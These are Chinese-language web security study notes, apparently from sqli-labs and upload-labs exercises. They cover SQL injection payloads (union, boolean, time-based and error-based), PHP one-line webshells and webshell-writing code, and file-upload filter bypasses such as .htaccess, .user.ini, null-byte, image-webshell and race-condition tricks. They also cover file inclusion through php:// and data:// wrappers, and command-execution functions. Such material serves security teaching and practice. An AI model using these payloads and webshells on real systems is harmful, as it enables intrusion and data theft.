WEB安全分析与实践
WEB安全分析与实践
PHP Cookeie
PHP Session
PHP session 变量用于存储关于用户会话(session)的信息,或者更改用户会话(session)的设置。Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的。
您在计算机上操作某个应用程序时,您打开它,做些更改,然后关闭它。这很像一次对话(Session)。计算机知道您是谁。它清楚您在何时打开和关闭应用程序。然而,在因特网上问题出现了:由于 HTTP 地址无法保持状态,Web 服务器并不知道您是谁以及您做了什么。
PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。
Session 的工作机制是:为每个访客创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,或者通过 URL 进行传导。
5种http状态码
分类 描述
1 X X 信息,服务器收到请求,需要请求者继续执行操作
2 X X 成功,操作被成功接收并处理
3 X X 重定向,需要进一步操作并完成请求
4 X X 客户端错误,请求包含语法错误或无法完成请求
5 X X 服务器错误,服务器在请求过程中发生了错误
SQL注入
information_schema数据库
从mysql5开始,MySql自带information_schema数据库,这个库中包含了三个表,SCHEMATA,TABLES,COLUMNS。
SCHEMATA表提供了当前MySQL实例中所有数据库的信息(数据库名),show databases;命令的结果取自此表。
TABLES表提供了所有数据库中的所有表(包括视图)的信息,后面加条件table_schema指定对应的数据库。
COLUMNS表提供了表中的所有列的信息,后面加条件table_schema指定对应的数据库。table_name指定表。
基础sql命令
查库
select schema_name from information_schema.schemata
查表
select table_name from information_schema.tables where table_schema='数据库名';
查列
select column_name from information_schema.columns where table_name='security';
查字段
select flag from ctf.flag;
select group_concat(column_name ) from information_schema.columns
where table_schema='wl2021' and table_name='user'
查询这个数据库下面的user表的字段
数字型注入
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
$id没有用单引号或者双引号引起来,直接拼接在了后面,这样的注入就是典型的数字型注入
sqli第二关为例
输入id=1正常回显,
输入 and 1=1,为真正常回显
输入 and 1=2,为假不回显也不报错,由此可判断有注入点。
判断有几个字段。
输入order by 4,报错。
输入3正常回显,说明一共有三列。
利用union联合查询判断回显点,使用联合查询的时候只要union连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果。
当输入一个无效的id时,就会显示后面查询的结果,可以看到回显点为2,3。
字符型注入
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
输入id=1,SELECT * FROM users WHERE id='1' LIMIT 0,1
如果输入id=1'
SELECT * FROM users WHERE id='1'' LIMIT 0,1,很明显这个语句不符合sql语法规则,会报错。
使用-- -或者#注释掉后面的语句
正常返回
payload
查询所有数据库
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3-- -
查询指定数据库中的所有表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='test'),3-- -
查询指定表中的所有字段
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='pwtable'),3-- -
?id=-1' union select 1,(select group_concat(user) from mysql.user),3-- -
bool注入
在输入正确的值时。页面会正常回显,但是回显注入查询的结果,此时只能盲目猜测。
字节与字符的区别:
length(): 单位是字节,utf8编码下,一个汉字三个字节,一个数字或字母一个字节。gbk编码下,一个汉字两个字节,一个数字或字母一个字节。 char_length():单位为字符,不管汉字还是数字或者是字母都算是一个字符。
基础函数:
1)substring函数
格式:substring('字段名', a , n )
含义:从某个字段的第a个字符开始截取,截取n位。
示例:
2)ascii函数
将字符的ascii码返回,一次只能返回一个,如果有多个字符则返回第一个的ascii码;
示例:
3)length函数
用于获取字符串的长度
sqli第八关为例(字符型盲注):
猜测第一个数据库的第一个字符是多少,大于104不大于105,说明第一个字符的ascii的值为105(i)。
payload
猜测数据库
http://4.4.5.100/sqli/Less-8/?id=1' and (select ascii(substring(schema_name,1,1)) from information_schema.schemata limit 0,1)>104-- -
猜测security库下第一个表的第一个字符
http://4.4.5.100/sqli/Less-8/?id=1' and (select ascii(substring(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)>100-- -
猜测users表中的第一个字段的第一个字符
http://4.4.5.100/sqli/Less-8/?id=1' and (select ascii(substring(column_name,1,1)) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)>104-- -
sleep注入
sleep注入与bool注入不同,sleep没有任何回显信息,只能通过浏览器的加载时间来判断。
基础函数:
1)sleep
sleep可以使执行挂起一段时间
2)if函数(类似于编程语言中的三元函数)
if(表达式,'表达式为真回显值','表达式为假回显值')
以sqli-labs第九关为例
payload
?id=1' and sleep(if((select ascii(substring((select database()),1,1)))>10,0,3))-- -
猜测数据库
?id=1' and sleep(if((select ascii(substring(schema_name,1,1)) from information_schema.schemata limit 0,1)>110,0,3))-- -
猜测表名
?id=1' and sleep(if((select ascii(substring(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)>130,0,3))-- -
猜测字段名
?id=1' and sleep(if((select ascii(substring(column_name,1,1)) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)>130,0,3))-- -
猜测内容
?id=1' and sleep(if((select ascii(substring(username,1,1)) from security.users limit 0,1)>190,0,3))-- -
报错注入
十种报错注入:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
floor()
基础函数
1)floor函数
floor(x) 返回不大于x的最大整数值
2)rand函数
rand()会随机生成一个0-1之间的随机数
注入原理
1)rand函数与group by子句
floor注入是rand函数在与group by子句一起用时多次计算而导致的。
select count(*),(floor(rand() * 2 ))x from information_schema.tables group by x
=
select count(*),(floor(rand() * 2 ))x from information_schema.tables group by (floor(rand() * 2 ))
爆库:
(http://127.0.0.1/sqli/Less-5/?id=1' union select 1,count(*),concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e,floor(rand(0)*2))test from information_schema.tables group by test-- -)
爆表:
(http://127.0.0.1/sqli/Less-5/?id=1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2))test from information_schema.tables group by test-- -)
爆字段:
(http://127.0.0.1/sqli/Less-5/?id=1' union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2))test from information_schema.tables group by test-- -)
爆值:
(http://127.0.0.1/sqli/Less-5/?id=1' union select 1,count(*),concat(0x7e,(select password from security.users limit 0,1),0x7e,floor(rand(0)*2))test from information_schema.tables group by test-- -)
extractvalue()
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()
因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。
例:
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
报错原理
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里
我们可以让它第二个参数错误来爆出数据。
payload:
#爆数据库 http://127.0.0.1/sqli/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))--+ #爆表 http://127.0.0.1/sqli/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e))--+ #爆字段 http://127.0.0.1/sqli/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e))--+ #爆值 http://127.0.0.1/sqli/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select password from security.users limit 0,1),0x7e))--+
updatexml()
注入语句
select * from user where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
报错原理
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
其实原理和extractvalue()是一样的,利用Xpath格式字符串不符合要求达到报错的效果,但是不一样的是,updatexml()有3个参数,要注意这一点。
#爆数据库 http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ #爆表 #爆字段 #爆值
二次注入
通过注册
username =1' union select * from ctftraining.flag#
宽字节注入???
一句话木马
在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是什么呢?
先来看看最简单的一句话木马:
<?php @eval($_POST['attack']);?>
POST用法
GET用法
<?php @eval($_GET['attack']);?>
mysql通过load_file('路径+文件名')可以实现读取
在MySQL5.6.34版本以后secure_file_priv 的值默认为null,可以通过以下方法实现
window下:
修改mysql.ini文件,在【mysqld】下添加secure_file_priv =
保存后重启mysql。
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。
或者在/etc/my.cnf 加上secure_file_priv ="/"
利用此命令写入一句话木马
php中magic_quotes_gpc函数详解
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
client-ip: 127.0.0.1 代表从本地访问
文件上传
前端js过滤绕过
function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }
此文件通过js代码判断文件的类型,并且通过白名单的方式定义了可以上传的文件类型。js判断是在前端进行的,可以使用多种方式进行绕过,包括修改js代码,利用bp抓包等。
禁用js
验证Content-type
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } }
将concat-Type:后面的内容改成 image/jpeg、image/png、image/gif
黑名单绕过
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
用黑名单不允许上传.asp,.aspx,.php,.jsp
后缀的文件,但可以上传.phtml .phps .php5 .pht
前提是apache的httpd.conf中有以下配置代码
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
.htaccess绕过
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
黑名单拒绝了几乎所有有问题的后缀名,除了.htaccess 前提条件(1.mod_rewrite模块开启。2.AllowOverride All
)
开启.htaccess的配置
.htaccess文件内容
SetHandler application/x-httpd-php
照一张正常的照片,然后新建一个文本文件,内容是一句话,将两个文件合体。
图片马制作成功
先上传.htaccess文件,在上传合成后的图片马。
成功访问。
.user.ini绕过
.user.ini。它比.htaccess 用的更广,不管服务器是
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
上传文件,内容为
auto_prepend_file=userini.jpg
然后上传一个内容是一句话木马,名为userini.jpg的文件,上传成功后发现访问文件执行函数无效。是因为只有在访问php
文件时,才会自动包含userini.jpg,所以作者给了提示在上传目录下是有一个readme.php
文件的,所以直接访问readme.php就可以包含上传的shell
了
点+空格+点绕过
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
在文件名后面加上. .就可以了。
大小写绕过
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
抓包的时候把后缀混合大小写就ok。
空格绕过
在上传的文件名后面加上空格就行了
点绕过
没有对后缀名末尾的点进行处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:
::$DATA绕过
没有对后缀名中的’::$DATA’进行过滤。在php+windows的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。利用windows特性,可在后缀名中加” ::$DATA”绕过。当右击复制图片链接的时候默认会把文件名后面的::$DATA带上,访问的时候把::$DATA去点就行了
双写绕过
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
会把数组里面包含的给替换掉,双写就可以绕过,他只能替换掉完全匹配的,我们输入pphphp,此时只把中间的php给替换掉了,替换后剩下的还是php。
GET型00截断
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
白名单判断,但$img_path是直接拼接,因此可以利用%00截断绕过。
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态
设置上传路径为 upload/shell.php%00 ,添加 phpinfo.php%00 内容为了控制路径,上传文件后缀为白名单即可 例:shell.jpg,保存后为/upload/shell.php%00shell.jpg,但服务端读取到 %00 时会自动结束,将文件内容保存至 shell.php 中
POST 型 0x00 截断
使用白名单限制上传文件类型,但上传文件的存放路径可控,但因为是 POST 型,需要在 16 进制中修改,因为 POST 不会像 GET 那样对 %00 进行自动解码。
修改php后面的十六进制为00。
图片马绕过
制作图片马
准备一张正常的图片文件和一个一句话木马的文本文档或者php文件
使用命令
copy jpg.jpg/b+shell.php/b jpgma.jpg
上传制作好的图片马
getimagesize()-图片马
通过 getimagesize()获取上传文件信息,图片马绕过
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组
#####
exif_imagetype()-图片马
利用 php 内置函数 exif_imagetype()获取图片类型(需要开启 php_exif 模块)
图片马上传
二次渲染绕过
综合判断了后缀名、content-type,以及利用 imagecreatefromgif 判断是否为 gif 图片,并在最后对文件内容进行了二次渲染,修改文件内容
条件竞争
条件竞争是指多个线程在没有进行锁操作或者同步操作的情况下同时访问同一个共享代码、变量、文件等。例如脏牛漏洞就是利用Linux内核的竞争条件进行的攻击。竞争条件同样在web应用中也存在大量的漏洞环境。
代码分析
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }
本段代码首先将用户上传的文件保存在临时目录下,然后判断上传文件的扩展名是否在白名单中,如果不在就删除文件。漏洞点在于文件在报错到服务器之前并没有进行合法性检查,但是利用竞争条件上传漏洞上传有写文件功能的木马,在删除木马之前访问已经上传的木马,可以写入新的木马。
上传文件内容
<?php fputs( fopen('shell.php','w') , '<?php eval($_POST[123]) ?>' ) ; ?>
将得到的数据包发送到intruder模块中,选取UA头进行爆破(修改UA头部对数据包无影响),其实就是不断上传数据包,然后在服务器删除之前访问这个文件使其写入一句话木马,那么服务器就删除不了我们上传的后门了
第一步,抓上传文件的包发送到爆破模块,选取UA头进行爆破(修改UA头部对数据包无影响)。
次数多设置一点。
第二步,访问上传的文件,使文件里的内容得到执行写入一句话木马。抓包爆破UA头,次数设置多一点。status为200说明上传成功
成功上传。
逻辑漏洞-数组绕过
文件包含
文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期的文件。如果代码中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。
绝对路径与相对路径的区别:
绝对路径:是固定死的路径,则是以根目录为起始点某一文件的路径;例如 C:\Windows\System32\Boot\xxx.ini
相对路径:假如说根目录为A,A下面有B、C两个文件夹,B文件夹下有D文件,C文件夹下有E文件。
对于D文件来说,E文件的绝对路径就是A:\C\E,E文件的相对路径则是../C/E;
因为D和E都是在根目录A下面,但其上面都还有一个父文件夹,所以前面加个..表示上一层。 如图所示:
./与../的区别
一、含义不同:
1、./是当前目录
2、../是父级目录
3、/是根目录
路径的/与\的区别
(1)浏览器地址栏网址使用 斜杆/ ;
(2)windows文件浏览器上使用 反斜杠\ ;
(3)出现在html url() 属性中的路径,指定的路径是网络路径,所以必须用 斜杆/ ;
(4)出现在普通字符串中的路径,如果代表的是windows文件路径,则使用 斜杆/ 和 反斜杠\ 是一样的;如果代表的是网络文件路径,则必须使用 斜杆/ ;
文件包含漏洞常见函数有以下四种:
1)include。包含并运行指定文件,includ再出错时会产生警告(E_WARNING),代码会继续运行。
2)includ_once。与include的区别在于,此函数在包含时会检测这个文件是否被包含过,如果是,则不会再次包含。
3)require。require在出错时产生E_COMPILE_ERROR级别的错误,会导致代码中止运行。
4)require_once。用法与require完全相同,唯一的区别就是在使用该函数时会检测指定文件是否包含过,如果是,则不再包含。
无限制本地文件包含
漏洞示例代码
<?php $_filename=$_GET['filename']; include($_filename); ?>
读取敏感文件
有限制本地文件包含
漏洞利用条件
(1)magic_quotes_gpc=off
(2)php版本低于5.3.4
利用%00,最大路径长度阶段(/./././././尽量输入长一点),点号截断(适用于windows系统,长度大于256b..........)。
session文件包含
session文件包含的利用条件有两个,一是session的存储位置可以获取,二是session内容可控。
一般通过以下两种方式来获取
1)通过phpinfo获取
phpinfo中的session.save_path保存的是session的存储位置。
2)通过猜测默认的session存储位置进行尝试
通常在Linux中session默认存储在/var/lib/php/session目录下
session文件包含实例分析
示例代码
<?php session_start(); $s=$_GET['s']; $_SESSION["username"]=$s; ?>
复现
访问此文件并传值给s
在服务器的/var/lib/php/session目录下查看该文件可以看到内容已经传进去了。
利用此方法传入一句话
可以看到一句话上传成功,此处要注意,更换浏览器访问,不然的话后面跟的内容又插入到session文件里面了,会覆盖掉之前的一句话木马。
无限制远程文件包含
远程包含shell
如果目标主机的allow_url_fopen=on并且allow_url_inclued=on选项是激活的,就可以尝试远程包含一句话木马。
通过在其他主机的文件加上下面这句话,让靶机访问就会写入一句话木马,但是在这里上传phpinfo没问题,上传一句话木马就会自动把eval()括号里面的内容给清空。
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>
有限制本地文件包含
代码
<?php include($_GET['filename'].".html"); ?>
① ? 绕过。?后面的扩展名会被当作查询。
② # 绕过。#(%23)会截断后面的扩展名。
③空格绕过。%20。
php://伪协议
常见的PHP伪协议如下
名称 | 含义 |
---|---|
file:// | 访问本地文件系统 |
http:// | 访问http(s)网址 |
ftp:// | 访问ftp(s)url |
php:// | 访问各个输入输出流 |
zlib:// | 处理压缩流 |
data:// | 读取数据 |
glob:// | 查找匹配的文件路径模式 |
phar:// | PHP归档 |
ssh2:// | secure shell 2 |
rar:// | RAR数据压缩 |
ogg:// | 处理音频流 |
expect:// | 处理交互式的流 |
php://伪协议
①php://filter
php://filter是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件进行读写。
以下两种用法相同:
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
?filename=php://filter/convert.base64-encode/resource=xxx.php
利用php://filter读取本地磁盘文件,php配置文件不需要开启allow_url_fopen和allow_url_include。
示例代码
<? $filename=$_GET['filename'];include($filename); ?>
读取flag.php文件的base64编码。进行解码。
②php://input
利用php://input写入木马。php配置文件不需要开启allow_url_fopen,但是需要开启allow_url_include。
<? $filename=$_GET['filename']; include($filename); ?>
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?> <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
执行系统命令。
file://伪协议
file伪协议可以访问本地文件系统,读取文件的内容
利用file://读取本地磁盘文件,php配置文件不需要开启allow_url_fopen和allow_url_include。
示例代码
<? $filename=$_GET['filename'];include($filename); ?>
data://伪协议
从PHP5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行任意代码。
使用方法:
data://text/plain;base64,xxxxxxxx (base64编码后的数据)
利用data时,php配置文件需要开启allow_url_fopen和allow_url_include。
示例代码
<? $filename=$_GET['filename'];include($filename); ?>
通过data://协议传送base加密后的(<?php phpinfo();?>)的编码,这样就可以执行phpinfo函数
https://the-x.cn/base64 加解密网址
加密后的数值为 PD9waHAgcGhwaW5mbygpOz8+
发现失败,看报错信息后面没有显示+,把+url编码后就可以了
phar://伪协议
phar://是用来解压的伪协议,phar://参数中的我呢见不管是什么扩展名都会被当作压缩包。
用法: ?filename=phar://压缩包/内部文件
利用phar://时,php版本应高于5.3.0,php配置文件需开启allow_url_include和allow_url_fopen。
注意,压缩包要用zip压缩,不能用rar,将木马文件压缩后改成任意格式的文件都可以正常使用。
zip://伪协议
zip://伪协议和phar://伪协议在原理上类似,但是用法不一样。
用法:?filename=zip:// [压缩包文件的绝对路径] # 压缩文件内的子文件名
使用zip://时,php版本应高于5.3.0,php配置文件需开启allow_url_include和allow_url_fopen。
注意:#要转换为%23,否则浏览器默认不会传输特殊字符。
命令执行
应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命令执行漏洞。
PHP常见的命令执行函数
①system函数
示例:<?php system('whoami');?>
②exec函数
示例:<?php echo exec('whoami');?>
③shell_exec函数
示例:<?php echo shell_exec('whoami');?>
④pssthru函数
示例:<?php passthru('whoami');?>
⑤popen函数
执行该代码后会在当前文件夹下创建文件
示例:<?php popen("touch test.txt","r");?>
⑥proc_popen函数
示例:
<?php $proc=proc_open("whoami", array( array("pipe","r"), array("pipe","w"), array("pipe","w") ), $pipes); print stream_get_contents($pipes[1]); ?>
⑦反单引号
反单引号是php执行运算符,php会尝试将反单引号的内容作为shell命令来执行。
示例:<?php echo `whoami`;?>
Windows命令执行漏洞
windows下的命令连接符包括 &、&&、|、||。
①&
&前面的语句为假执行后面的语句,为真前后都执行
②&&
&&前面的语句为假直接报错,后面不执行;前面的为真,则都执行。
③|
|前面的语句为假直接报错,后面不执行;如前面为真,只执行后面的语句。
④||
||前面的语句为假执行后面的语句,为真只执行前面的语句。
Linux命令执行漏洞
Linux下的命令连接符包括 ;、 &、&&、|、||。
